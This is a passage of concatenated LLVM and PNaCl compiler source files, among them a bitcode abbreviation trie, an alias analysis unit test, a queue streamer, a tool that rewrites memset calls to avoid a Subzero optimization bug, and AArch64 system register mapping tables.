new legacy::FunctionPassManager(&*Mod));
PM->add(createPNaClABIVerifyFunctionsPass(&ABIErrorReporter));
PM->doInitialization();
for (Module::iterator I = Mod->begin(), E = Mod->end(); I != E; ++I) {
PM->run(*I);
ErrorsFound |=
CheckABIVerifyErrors(ABIErrorReporter, "Function " + I->getName());
}
PM->doFinalization();
return ErrorsFound ? 1 : 0;
}
<file_sep>/lib/Bitcode/NaCl/Analysis/AbbrevTrieNode.cpp
//===- AbbrevTrieNode.cpp ------------------------------------------------===//
// Implements abbreviation lookup tries.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/AbbrevTrieNode.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeValueDist.h"
using namespace llvm;
void AbbrevTrieNode::GetSuccessorLabels(SuccessorLabels &Labels) const {
for (SuccessorMap::const_iterator
IndexIter = Successors.begin(), IndexIterEnd = Successors.end();
IndexIter != IndexIterEnd; ++IndexIter) {
if (const SuccessorValueMap *ValueMap = IndexIter->second) {
for (SuccessorValueMap::const_iterator
ValueIter = ValueMap->begin(), ValueIterEnd = ValueMap->end();
ValueIter != ValueIterEnd; ++ValueIter) {
Labels.push_back(std::pair<size_t, uint64_t>(IndexIter->first,
ValueIter->first));
}
}
}
}
AbbrevTrieNode::~AbbrevTrieNode() {
for (SuccessorMap::const_iterator
Iter = Successors.begin(), IterEnd = Successors.end();
Iter != IterEnd; ++Iter) {
if (const SuccessorValueMap *ValueMap = Iter->second) {
for (SuccessorValueMap::const_iterator
Iter = ValueMap->begin(), IterEnd = ValueMap->end();
Iter != IterEnd; ++Iter) {
delete Iter->second;
}
delete ValueMap;
}
}
}
void AbbrevTrieNode::Print(raw_ostream &Stream,
const std::string &Indent,
bool LocalOnly) const {
std::string IndentPlus(Indent);
IndentPlus.append(" ");
std::string IndentPlusPlus(IndentPlus);
IndentPlusPlus.append(" ");
if (! Abbreviations.empty()) {
Stream << Indent << "Abbreviations:\n";
for (std::set<AbbrevIndexPair>::const_iterator
Iter = Abbreviations.begin(), IterEnd = Abbreviations.end();
Iter != IterEnd; ++Iter) {
Stream << IndentPlus;
Iter->second->Print(Stream, /* AddNewline= */ false);
Stream << " (abbrev #" << Iter->first << ")\n";
}
}
if (LocalOnly) return;
if (!Successors.empty()) {
Stream << Indent << "Successor Map:\n";
SuccessorLabels Labels;
GetSuccessorLabels(Labels);
for (SuccessorLabels::const_iterator
Iter = Labels.begin(), IterEnd = Labels.end();
Iter != IterEnd; ++Iter) {
size_t Index = Iter->first;
if (Index == 0) {
Stream << IndentPlus << "Record.Code = " << Iter->second << "\n";
} else {
Stream << IndentPlus << "Record.Values[" << (Index-1)
<< "] = " << Iter->second << "\n";
}
GetSuccessor(Iter->first, Iter->second)->Print(Stream, IndentPlusPlus);
}
}
}
AbbrevTrieNode *AbbrevTrieNode::
GetSuccessor(size_t Index, uint64_t Value) const {
SuccessorMap::const_iterator IndexPos = Successors.find(Index);
if (IndexPos != Successors.end()) {
if (SuccessorValueMap *ValueMap = IndexPos->second) {
SuccessorValueMap::iterator ValuePos = ValueMap->find(Value);
if (ValuePos != ValueMap->end())
return ValuePos->second;
}
}
return 0;
}
bool AbbrevTrieNode::Add(NaClBitCodeAbbrev *Abbrev,
size_t Index, size_t SkipIndex) {
if (Index >= Abbrev->getNumOperandInfos()) return false;
bool AddedNodes = false;
// Skip over matches that may match because they don't have constants
// in the index.
while (SkipIndex < Index) {
SuccessorMap::iterator Pos = Successors.find(SkipIndex);
if (Pos != Successors.end()) {
SuccessorValueMap *ValueMap = Pos->second;
for (SuccessorValueMap::const_iterator
Iter = ValueMap->begin(), IterEnd = ValueMap->end();
Iter != IterEnd; ++Iter) {
if (AbbrevTrieNode *Successor = Iter->second) {
if (Successor->Add(Abbrev, Index, SkipIndex+1))
AddedNodes = true;
}
}
}
++SkipIndex;
}
// Now update successors for next matching constant in abbreviation.
for (; Index < Abbrev->GetMinRecordSize(); ++Index) {
const NaClBitCodeAbbrevOp &Op = Abbrev->getOperandInfo(Index);
if (Op.isLiteral()) {
if (Index == SkipIndex) {
// No preceeding nodes to match, add here.
SuccessorValueMap *ValueMap = Successors[Index];
if (ValueMap == 0) {
ValueMap = new SuccessorValueMap();
Successors[Index] = ValueMap;
}
AbbrevTrieNode *Successor = (*ValueMap)[Op.getValue()];
if (Successor == 0) {
Successor = new AbbrevTrieNode();
AddedNodes = true;
(*ValueMap)[Op.getValue()] = Successor;
}
if (Successor->Add(Abbrev, Index+1, Index+1))
AddedNodes = true;
} else {
// Need to match all possible prefixes before inserting constant.
if (Add(Abbrev, Index, SkipIndex))
AddedNodes = true;
}
return AddedNodes;
}
}
return AddedNodes;
}
void AbbrevTrieNode::Insert(AbbrevIndexPair &AbbrevPair) {
NaClBitCodeAbbrev *Abbrev = AbbrevPair.second;
for (std::map<size_t, SuccessorValueMap*>::iterator
Iter = Successors.begin(), IterEnd = Successors.end();
Iter != IterEnd; ++Iter) {
if (SuccessorValueMap *ValueMap = Iter->second) {
if (Iter->first < Abbrev->GetMinRecordSize()) {
const NaClBitCodeAbbrevOp &Op =
Abbrev->getOperandInfo(Iter->first);
if (Op.isLiteral()) {
uint64_t Value = Op.getValue();
SuccessorValueMap::iterator Pos = ValueMap->find(Value);
if (Pos != ValueMap->end()) {
if (AbbrevTrieNode *Next = Pos->second) {
// Found constant that will be followed, update subgraph
// and quit.
Next->Insert(AbbrevPair);
return;
}
}
} else {
// Not literal, so it may (or may not) be followed, depending
// on the value in the record that will be matched against. So
// add to subgraph, and here if no succeeding matching literal
// constants.
for (SuccessorValueMap::iterator
Iter = ValueMap->begin(), IterEnd = ValueMap->end();
Iter != IterEnd; ++Iter) {
if (AbbrevTrieNode *Next = Iter->second)
Next->Insert(AbbrevPair);
}
}
} else if (!Abbrev->IsFixedSize()) {
// May match array element. So add to subgraph as well as here.
for (SuccessorValueMap::iterator
Iter = ValueMap->begin(), IterEnd = ValueMap->end();
Iter != IterEnd; ++Iter) {
if (AbbrevTrieNode *Next = Iter->second)
Next->Insert(AbbrevPair);
}
}
}
}
// If reached, no guarantees that any edge was followed, so add
// to matches of this node.
Abbreviations.insert(AbbrevPair);
}
const AbbrevTrieNode *AbbrevTrieNode::
MatchRecord(const NaClBitcodeRecordData &Record) const {
for (std::map<size_t, SuccessorValueMap*>::const_iterator
Iter = Successors.begin(), IterEnd = Successors.end();
Iter != IterEnd; ++Iter) {
if (SuccessorValueMap *ValueMap = Iter->second) {
if (Iter->first <= Record.Values.size()) {
uint64_t Value;
if (Iter->first == 0)
Value = Record.Code;
else
Value = Record.Values[Iter->first-1];
SuccessorValueMap::iterator Pos = ValueMap->find(Value);
if (Pos != ValueMap->end()) {
if (AbbrevTrieNode *Next = Pos->second) {
return Next->MatchRecord(Record);
}
}
} else {
// Map index too big, quit.
break;
}
}
}
// If reached, no refinement found, use this node.
return this;
}
static void ComputeAbbrevRange(NaClBitCodeAbbrev *Abbrev,
size_t &MinIndex, size_t &MaxIndex) {
// Find the range of record lengths for which the abbreviation may
// apply. Note: To keep a limit on the number of copies, collapse all
// records with length > NaClValueIndexCutoff into the same bucket.
MinIndex = Abbrev->GetMinRecordSize();
if (MinIndex > NaClValueIndexCutoff) {
MinIndex = NaClValueIndexCutoff + 1;
}
MaxIndex = MinIndex;
if (!Abbrev->IsFixedSize()) {
MaxIndex = NaClValueIndexCutoff + 1;
}
}
// Once all nodes have been added (via calls to AddAbbrevToLookupMap),
// this function adds the given abbreviation pair to all possible
// matchxes in the lookup map.
static void AddAbbrevPairToLookupMap(AbbrevLookupSizeMap &LookupMap,
AbbrevIndexPair &AbbrevPair) {
size_t MinIndex, MaxIndex;
ComputeAbbrevRange(AbbrevPair.second, MinIndex, MaxIndex);
for (size_t Index = MinIndex; Index <= MaxIndex; ++Index) {
AbbrevTrieNode *Node = LookupMap[Index];
assert(Node);
Node->Insert(AbbrevPair);
}
}
// Adds the given abbreviation to the corresponding lookup map, constructing
// the map of usable lookup tries.
static bool AddAbbrevToLookupMap(AbbrevLookupSizeMap &LookupMap,
NaClBitCodeAbbrev *Abbrev) {
bool Added = false;
size_t MinIndex, MaxIndex;
ComputeAbbrevRange(Abbrev, MinIndex, MaxIndex);
for (size_t Index = MinIndex; Index <= MaxIndex; ++Index) {
AbbrevTrieNode *Node = LookupMap[Index];
if (Node == 0) {
Node = new AbbrevTrieNode();
LookupMap[Index] = Node;
Added = true;
}
if (Node->Add(Abbrev)) Added = true;
}
return Added;
}
void llvm::NaClBuildAbbrevLookupMap(
AbbrevLookupSizeMap &LookupMap,
const SmallVectorImpl<NaClBitCodeAbbrev*> &Abbrevs,
size_t InitialIndex) {
// First build nodes of trie.
bool FixpointFound = false;
while (!FixpointFound) {
FixpointFound = true;
for (size_t i = InitialIndex; i < Abbrevs.size(); ++i) {
if (AddAbbrevToLookupMap(LookupMap, Abbrevs[i]))
FixpointFound = false;
}
}
// Now populate with abbreviations that apply.
for (size_t i = InitialIndex; i < Abbrevs.size(); ++i) {
AbbrevIndexPair Pair(i, Abbrevs[i]);
AddAbbrevPairToLookupMap(LookupMap, Pair);
}
}
<file_sep>/unittests/Analysis/AliasAnalysisTest.cpp
//===--- AliasAnalysisTest.cpp - Mixed TBAA unit tests --------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Analysis/AliasAnalysis.h"
#include "llvm/Analysis/Passes.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Support/CommandLine.h"
#include "gtest/gtest.h"
namespace llvm {
namespace {
class AliasAnalysisTest : public testing::Test {
protected:
AliasAnalysisTest() : M("AliasAnalysisTBAATest", C) {}
// This is going to check that calling getModRefInfo without a location, and
// with a default location, first, doesn't crash, and second, gives the right
// answer.
void CheckModRef(Instruction *I, AliasAnalysis::ModRefResult Result) {
static char ID;
class CheckModRefTestPass : public FunctionPass {
public:
CheckModRefTestPass(Instruction *I, AliasAnalysis::ModRefResult Result)
: FunctionPass(ID), ExpectResult(Result), I(I) {}
static int initialize() {
PassInfo *PI = new PassInfo("CheckModRef testing pass", "", &ID,
nullptr, true, true);
PassRegistry::getPassRegistry()->registerPass(*PI, false);
initializeAliasAnalysisAnalysisGroup(*PassRegistry::getPassRegistry());
initializeBasicAliasAnalysisPass(*PassRegistry::getPassRegistry());
return 0;
}
void getAnalysisUsage(AnalysisUsage &AU) const override {
AU.setPreservesAll();
AU.addRequiredTransitive<AliasAnalysis>();
}
bool runOnFunction(Function &) override {
AliasAnalysis &AA = getAnalysis<AliasAnalysis>();
EXPECT_EQ(AA.getModRefInfo(I, AliasAnalysis::Location()), ExpectResult);
EXPECT_EQ(AA.getModRefInfo(I), ExpectResult);
return false;
}
AliasAnalysis::ModRefResult ExpectResult;
Instruction *I;
};
static int initialize = CheckModRefTestPass::initialize();
(void)initialize;
CheckModRefTestPass *P = new CheckModRefTestPass(I, Result);
legacy::PassManager PM;
PM.add(createBasicAliasAnalysisPass());
PM.add(P);
PM.run(M);
}
LLVMContext C;
Module M;
};
TEST_F(AliasAnalysisTest, getModRefInfo) {
// Setup function.
FunctionType *FTy =
FunctionType::get(Type::getVoidTy(C), std::vector<Type *>(), false);
auto *F = cast<Function>(M.getOrInsertFunction("f", FTy));
auto *BB = BasicBlock::Create(C, "entry", F);
auto IntType = Type::getInt32Ty(C);
auto PtrType = Type::getInt32PtrTy(C);
auto *Value = ConstantInt::get(IntType, 42);
auto *Addr = ConstantPointerNull::get(PtrType);
auto *Store1 = new StoreInst(Value, Addr, BB);
auto *Load1 = new LoadInst(Addr, "load", BB);
auto *Add1 = BinaryOperator::CreateAdd(Value, Value, "add", BB);
ReturnInst::Create(C, nullptr, BB);
// Check basic results
CheckModRef(Store1, AliasAnalysis::ModRefResult::Mod);
CheckModRef(Load1, AliasAnalysis::ModRefResult::Ref);
CheckModRef(Add1, AliasAnalysis::ModRefResult::NoModRef);
}
} // end anonymous namspace
} // end llvm namespace
<file_sep>/lib/Transforms/NaCl/ExpandUtils.cpp
//===-- ExpandUtils.cpp - Helper functions for expansion passes -----------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/BasicBlock.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
Instruction *llvm::PhiSafeInsertPt(Use *U) {
Instruction *InsertPt = cast<Instruction>(U->getUser());
if (PHINode *PN = dyn_cast<PHINode>(InsertPt)) {
// We cannot insert instructions before a PHI node, so insert
// before the incoming block's terminator. This could be
// suboptimal if the terminator is a conditional.
InsertPt = PN->getIncomingBlock(*U)->getTerminator();
}
return InsertPt;
}
void llvm::PhiSafeReplaceUses(Use *U, Value *NewVal) {
User *UR = U->getUser();
if (PHINode *PN = dyn_cast<PHINode>(UR)) {
// A PHI node can have multiple incoming edges from the same
// block, in which case all these edges must have the same
// incoming value.
BasicBlock *BB = PN->getIncomingBlock(*U);
for (unsigned I = 0; I < PN->getNumIncomingValues(); ++I) {
if (PN->getIncomingBlock(I) == BB)
PN->setIncomingValue(I, NewVal);
}
} else {
UR->replaceUsesOfWith(U->get(), NewVal);
}
}
Function *llvm::RecreateFunction(Function *Func, FunctionType *NewType) {
Function *NewFunc = Function::Create(NewType, Func->getLinkage());
NewFunc->copyAttributesFrom(Func);
Func->getParent()->getFunctionList().insert(Func, NewFunc);
NewFunc->takeName(Func);
NewFunc->getBasicBlockList().splice(NewFunc->begin(),
Func->getBasicBlockList());
Func->replaceAllUsesWith(
ConstantExpr::getBitCast(NewFunc,
Func->getFunctionType()->getPointerTo()));
return NewFunc;
}
<file_sep>/lib/Support/QueueStreamer.cpp
//===--- llvm/Support/QueueStreamer.cpp - Producer/consumer data streamer -===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements QueueStreamer.
//
//===----------------------------------------------------------------------===//
#include "llvm/Support/QueueStreamer.h"
#include <cassert>
#include <cstring>
#include "llvm/Support/Debug.h"
#include "llvm/Support/raw_ostream.h"
#define DEBUG_TYPE "queue-streamer"
namespace llvm {
size_t QueueStreamer::GetBytes(unsigned char *Buf, size_t Len) {
size_t TotalCopied = 0;
std::unique_lock<LockType> L(Mutex);
while (!Done && queueSize() < Len - TotalCopied) {
size_t Size = queueSize();
DEBUG(dbgs() << "QueueStreamer::GetBytes Len " << Len << " size " <<
Size << " << waiting\n");
queueGet(Buf + TotalCopied, Size);
TotalCopied += Size;
Cond.notify_one();
Cond.wait(L);
}
// If this is the last partial chunk, adjust Len such that the amount we
// fetch will be just the remaining bytes.
if (Done && queueSize() < Len - TotalCopied) {
Len = queueSize() + TotalCopied;
}
queueGet(Buf + TotalCopied, Len - TotalCopied);
Cond.notify_one();
return Len;
}
size_t QueueStreamer::PutBytes(unsigned char *Buf, size_t Len) {
size_t TotalCopied = 0;
std::unique_lock<LockType> L(Mutex);
while (capacityRemaining() < Len - TotalCopied) {
if (Bytes.size() * 2 > QueueStreamer::MaxSize) {
size_t Space = capacityRemaining();
queuePut(Buf + TotalCopied, Space);
TotalCopied += Space;
Cond.notify_one();
Cond.wait(L);
} else {
queueResize();
}
}
queuePut(Buf + TotalCopied, Len - TotalCopied);
Cond.notify_one();
return Len;
}
void QueueStreamer::SetDone() {
// Still need the lock to avoid signaling between the check and
// the wait in GetBytes.
std::unique_lock<LockType> L(Mutex);
Done = true;
Cond.notify_one();
}
// Double the size of the queue. Called with Mutex to protect Cons/Prod/Bytes.
void QueueStreamer::queueResize() {
int Leftover = Bytes.size() - Cons;
DEBUG(dbgs() << "resizing to " << Bytes.size() * 2 << " " << Leftover << " "
<< Prod << " " << Cons << "\n");
Bytes.resize(Bytes.size() * 2);
if (Cons > Prod) {
// There are unread bytes left between Cons and the previous end of the
// buffer. Move them to the new end of the buffer.
memmove(&Bytes[Bytes.size() - Leftover], &Bytes[Cons], Leftover);
Cons = Bytes.size() - Leftover;
}
}
// Called with Mutex held to protect Cons, Prod, and Bytes
void QueueStreamer::queuePut(unsigned char *Buf, size_t Len) {
size_t EndSpace = std::min(Len, Bytes.size() - Prod);
DEBUG(dbgs() << "put, Len " << Len << " Endspace " << EndSpace << " p " <<
Prod << " c " << Cons << "\n");
// Copy up to the end of the buffer
memcpy(&Bytes[Prod], Buf, EndSpace);
// Wrap around if necessary
memcpy(&Bytes[0], Buf + EndSpace, Len - EndSpace);
Prod = (Prod + Len) % Bytes.size();
}
// Called with Mutex held to protect Cons, Prod, and Bytes
void QueueStreamer::queueGet(unsigned char *Buf, size_t Len) {
assert(Len <= queueSize());
size_t EndSpace = std::min(Len, Bytes.size() - Cons);
DEBUG(dbgs() << "get, Len " << Len << " Endspace " << EndSpace << " p " <<
Prod << " c " << Cons << "\n");
// Copy up to the end of the buffer
memcpy(Buf, &Bytes[Cons], EndSpace);
// Wrap around if necessary
memcpy(Buf + EndSpace, &Bytes[0], Len - EndSpace);
Cons = (Cons + Len) % Bytes.size();
}
} // end of namespace llvm
<file_sep>/tools/pnacl-hack-memset/pnacl-hack-memset.cpp
/* Copyright 2016 The Native Client Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can
* be found in the LICENSE file.
*/
//===-- pnacl-hack-memset.cpp - Fix (interim) Subzero bug -----------------===//
//
//===----------------------------------------------------------------------===//
//
// Fixes generated pexe's so that a Subzero bug (fixed but not yet fully
// deployed until 10/2016). Does this by replacing calls to memset with a
// constant (negative) byte value, and corresponding constant count arguments,
// with a zero-add to the count. This causes the broken (and fixed) optimization
// to not be fired.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/InstIterator.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/IR/Module.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/DataStream.h"
#include "llvm/Support/FileSystem.h"
#include "llvm/Support/ManagedStatic.h"
#include "llvm/Support/PrettyStackTrace.h"
#include "llvm/Support/Signals.h"
#include "llvm/Support/StreamingMemoryObject.h"
#include "llvm/Support/ToolOutputFile.h"
using namespace llvm;
namespace {
cl::opt<std::string>
OutputFilename("o", cl::desc("Specify fixed pexe filename"),
cl::value_desc("fixed pexe file"), cl::init("-"));
cl::opt<std::string>
InputFilename(cl::Positional, cl::desc("<pexe file>"), cl::init("-"));
cl::opt<bool>
ShowFixes("show-fixes", cl::desc("Show fixes to memset"), cl::init(false));
void WriteOutputFile(const Module *M) {
std::error_code EC;
std::unique_ptr<tool_output_file> Out(
new tool_output_file(OutputFilename, EC, sys::fs::F_None));
if (EC) {
errs() << EC.message() << '\n';
exit(1);
}
NaClWriteBitcodeToFile(M, Out->os(), /* AcceptSupportedOnly = */ false);
// Declare success.
Out->keep();
}
Module *readBitcode(std::string &Filename, LLVMContext &Context,
std::string &ErrorMessage) {
// Use the bitcode streaming interface
DataStreamer *Streamer = getDataFileStreamer(InputFilename, &ErrorMessage);
if (Streamer == nullptr)
return nullptr;
std::unique_ptr<StreamingMemoryObject> Buffer(
new StreamingMemoryObjectImpl(Streamer));
std::string DisplayFilename;
if (Filename == "-")
DisplayFilename = "<stdin>";
else
DisplayFilename = Filename;
DiagnosticHandlerFunction DiagnosticHandler = nullptr;
Module *M = getNaClStreamedBitcodeModule(
DisplayFilename, Buffer.release(), Context, DiagnosticHandler,
&ErrorMessage, /*AcceptSupportedOnly=*/false);
if (!M)
return nullptr;
if (std::error_code EC = M->materializeAllPermanently()) {
ErrorMessage = EC.message();
delete M;
return nullptr;
}
return M;
}
// Fixes the memset call if appropriate. Returns 1 if the Call to memset has
// been fixed, and zero otherwise.
size_t fixCallToMemset(CallInst *Call) {
if (Call->getNumArgOperands() != 5)
return 0;
Value *Val = Call->getArgOperand(1);
auto *CVal = dyn_cast<ConstantInt>(Val);
if (CVal == nullptr)
return 0;
if (!CVal->getType()->isIntegerTy(8))
return 0;
const APInt &IVal = CVal->getUniqueInteger();
if (!IVal.isNegative())
return 0;
Value *Count = Call->getArgOperand(2);
auto *CCount = dyn_cast<ConstantInt>(Count);
if (CCount == nullptr)
return 0;
if (!CCount->getType()->isIntegerTy(32))
return 0;
if (ShowFixes) {
Call->print(errs());
errs() << "\n-->\n";
}
auto *Zero = ConstantInt::getSigned(CCount->getType(), 0);
auto *Add = BinaryOperator::Create(Instruction::BinaryOps::Add, CCount, Zero);
auto *IAdd = dyn_cast<Instruction>(Add);
if (IAdd == nullptr)
return 0;
Call->setArgOperand(2, Add);
IAdd->insertBefore(Call);
if (ShowFixes) {
IAdd->print(errs());
errs() << "\n";
Call->print(errs());
errs() << "\n\n";
}
return 1;
}
// Fixes the instruction Inst, if it is a memset call that needs to be fixed.
// Returns 1 if the instruction Inst has been fixed, and zero otherwise.
size_t fixCallToMemset(Instruction *Inst) {
size_t Count = 0;
if (auto *Call = dyn_cast<CallInst>(Inst)) {
if (Function *Fcn = Call->getCalledFunction()) {
if ("llvm.memset.p0i8.i32" == Fcn->getName()) {
Count += fixCallToMemset(Call);
}
}
}
return Count;
}
// Fixes appropriate memset calls in the basic Block. Returns the number of
// fixed memset calls in the given basic Block.
size_t fixCallsToMemset(BasicBlock *Block) {
size_t Count = 0;
for (auto &Inst : *Block) {
Count += fixCallToMemset(&Inst);
}
return Count;
}
// Fixes appropriate memset calls in the function Fcn. Returns the number of
// fixed memset calls for the given function.
size_t fixCallsToMemset(Function *Fcn) {
size_t Count = 0;
for (auto &Block : *Fcn) {
Count += fixCallsToMemset(&Block);
}
return Count;
}
// Fixes appropriate memset calls in module M> Returns the number of fixed
// memset calls.
size_t fixCallsToMemset(Module *M) {
size_t ErrorCount = 0;
for (auto &Fcn : *M) {
if (!Fcn.isDeclaration())
ErrorCount += fixCallsToMemset(&Fcn);
}
return ErrorCount;
}
} // end of anonymous namespace
int main(int argc, char **argv) {
// Print a stack trace if we signal out.
sys::PrintStackTraceOnErrorSignal();
PrettyStackTraceProgram X(argc, argv);
LLVMContext &Context = getGlobalContext();
llvm_shutdown_obj Y; // Call llvm_shutdown() on exit.
cl::ParseCommandLineOptions(
argc, argv, "Converts NaCl pexe wire format into LLVM bitcode format\n");
std::string ErrorMessage;
std::unique_ptr<Module> M(readBitcode(InputFilename, Context, ErrorMessage));
if (!M.get()) {
errs() << argv[0] << ": ";
if (ErrorMessage.size())
errs() << ErrorMessage << "\n";
else
errs() << "bitcode didn't read correctly.\n";
return 1;
}
size_t ErrorCount = fixCallsToMemset(M.get());
if (ErrorCount > 0) {
errs() << argv[0] << ": Fixed " << ErrorCount << " calls to memset.\n";
}
WriteOutputFile(M.get());
return 0;
}
<file_sep>/tools/pnacl-thaw/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
BitWriter
Core
NaClBitReader
NaClBitTestUtils
Support)
add_llvm_tool(pnacl-thaw
pnacl-thaw.cpp
)
<file_sep>/lib/Target/AArch64/Utils/AArch64BaseInfo.cpp
//===-- AArch64BaseInfo.cpp - AArch64 Base encoding information------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file provides basic encoding and assembly information for AArch64.
//
//===----------------------------------------------------------------------===//
#include "AArch64BaseInfo.h"
#include "llvm/ADT/APFloat.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/ADT/StringExtras.h"
#include "llvm/Support/Regex.h"
using namespace llvm;
StringRef AArch64NamedImmMapper::toString(uint32_t Value, uint64_t FeatureBits,
bool &Valid) const {
for (unsigned i = 0; i < NumMappings; ++i) {
if (Mappings[i].isValueEqual(Value, FeatureBits)) {
Valid = true;
return Mappings[i].Name;
}
}
Valid = false;
return StringRef();
}
uint32_t AArch64NamedImmMapper::fromString(StringRef Name, uint64_t FeatureBits,
bool &Valid) const {
std::string LowerCaseName = Name.lower();
for (unsigned i = 0; i < NumMappings; ++i) {
if (Mappings[i].isNameEqual(LowerCaseName, FeatureBits)) {
Valid = true;
return Mappings[i].Value;
}
}
Valid = false;
return -1;
}
bool AArch64NamedImmMapper::validImm(uint32_t Value) const {
return Value < TooBigImm;
}
const AArch64NamedImmMapper::Mapping AArch64AT::ATMapper::ATMappings[] = {
{"s1e1r", S1E1R, 0},
{"s1e2r", S1E2R, 0},
{"s1e3r", S1E3R, 0},
{"s1e1w", S1E1W, 0},
{"s1e2w", S1E2W, 0},
{"s1e3w", S1E3W, 0},
{"s1e0r", S1E0R, 0},
{"s1e0w", S1E0W, 0},
{"s12e1r", S12E1R, 0},
{"s12e1w", S12E1W, 0},
{"s12e0r", S12E0R, 0},
{"s12e0w", S12E0W, 0},
};
AArch64AT::ATMapper::ATMapper()
: AArch64NamedImmMapper(ATMappings, 0) {}
const AArch64NamedImmMapper::Mapping AArch64DB::DBarrierMapper::DBarrierMappings[] = {
{"oshld", OSHLD, 0},
{"oshst", OSHST, 0},
{"osh", OSH, 0},
{"nshld", NSHLD, 0},
{"nshst", NSHST, 0},
{"nsh", NSH, 0},
{"ishld", ISHLD, 0},
{"ishst", ISHST, 0},
{"ish", ISH, 0},
{"ld", LD, 0},
{"st", ST, 0},
{"sy", SY, 0}
};
AArch64DB::DBarrierMapper::DBarrierMapper()
: AArch64NamedImmMapper(DBarrierMappings, 16u) {}
const AArch64NamedImmMapper::Mapping AArch64DC::DCMapper::DCMappings[] = {
{"zva", ZVA, 0},
{"ivac", IVAC, 0},
{"isw", ISW, 0},
{"cvac", CVAC, 0},
{"csw", CSW, 0},
{"cvau", CVAU, 0},
{"civac", CIVAC, 0},
{"cisw", CISW, 0}
};
AArch64DC::DCMapper::DCMapper()
: AArch64NamedImmMapper(DCMappings, 0) {}
const AArch64NamedImmMapper::Mapping AArch64IC::ICMapper::ICMappings[] = {
{"ialluis", IALLUIS, 0},
{"iallu", IALLU, 0},
{"ivau", IVAU, 0}
};
AArch64IC::ICMapper::ICMapper()
: AArch64NamedImmMapper(ICMappings, 0) {}
const AArch64NamedImmMapper::Mapping AArch64ISB::ISBMapper::ISBMappings[] = {
{"sy", SY, 0},
};
AArch64ISB::ISBMapper::ISBMapper()
: AArch64NamedImmMapper(ISBMappings, 16) {}
const AArch64NamedImmMapper::Mapping AArch64PRFM::PRFMMapper::PRFMMappings[] = {
{"pldl1keep", PLDL1KEEP, 0},
{"pldl1strm", PLDL1STRM, 0},
{"pldl2keep", PLDL2KEEP, 0},
{"pldl2strm", PLDL2STRM, 0},
{"pldl3keep", PLDL3KEEP, 0},
{"pldl3strm", PLDL3STRM, 0},
{"plil1keep", PLIL1KEEP, 0},
{"plil1strm", PLIL1STRM, 0},
{"plil2keep", PLIL2KEEP, 0},
{"plil2strm", PLIL2STRM, 0},
{"plil3keep", PLIL3KEEP, 0},
{"plil3strm", PLIL3STRM, 0},
{"pstl1keep", PSTL1KEEP, 0},
{"pstl1strm", PSTL1STRM, 0},
{"pstl2keep", PSTL2KEEP, 0},
{"pstl2strm", PSTL2STRM, 0},
{"pstl3keep", PSTL3KEEP, 0},
{"pstl3strm", PSTL3STRM, 0}
};
AArch64PRFM::PRFMMapper::PRFMMapper()
: AArch64NamedImmMapper(PRFMMappings, 32) {}
const AArch64NamedImmMapper::Mapping AArch64PState::PStateMapper::PStateMappings[] = {
{"spsel", SPSel, 0},
{"daifset", DAIFSet, 0},
{"daifclr", DAIFClr, 0},
// v8.1a "Privileged Access Never" extension-specific PStates
{"pan", PAN, AArch64::HasV8_1aOps},
};
AArch64PState::PStateMapper::PStateMapper()
: AArch64NamedImmMapper(PStateMappings, 0) {}
const AArch64NamedImmMapper::Mapping AArch64SysReg::MRSMapper::MRSMappings[] = {
{"mdccsr_el0", MDCCSR_EL0, 0},
{"dbgdtrrx_el0", DBGDTRRX_EL0, 0},
{"mdrar_el1", MDRAR_EL1, 0},
{"oslsr_el1", OSLSR_EL1, 0},
{"dbgauthstatus_el1", DBGAUTHSTATUS_EL1, 0},
{"pmceid0_el0", PMCEID0_EL0, 0},
{"pmceid1_el0", PMCEID1_EL0, 0},
{"midr_el1", MIDR_EL1, 0},
{"ccsidr_el1", CCSIDR_EL1, 0},
{"clidr_el1", CLIDR_EL1, 0},
{"ctr_el0", CTR_EL0, 0},
{"mpidr_el1", MPIDR_EL1, 0},
{"revidr_el1", REVIDR_EL1, 0},
{"aidr_el1", AIDR_EL1, 0},
{"dczid_el0", DCZID_EL0, 0},
{"id_pfr0_el1", ID_PFR0_EL1, 0},
{"id_pfr1_el1", ID_PFR1_EL1, 0},
{"id_dfr0_el1", ID_DFR0_EL1, 0},
{"id_afr0_el1", ID_AFR0_EL1, 0},
{"id_mmfr0_el1", ID_MMFR0_EL1, 0},
{"id_mmfr1_el1", ID_MMFR1_EL1, 0},
{"id_mmfr2_el1", ID_MMFR2_EL1, 0},
{"id_mmfr3_el1", ID_MMFR3_EL1, 0},
{"id_isar0_el1", ID_ISAR0_EL1, 0},
{"id_isar1_el1", ID_ISAR1_EL1, 0},
{"id_isar2_el1", ID_ISAR2_EL1, 0},
{"id_isar3_el1", ID_ISAR3_EL1, 0},
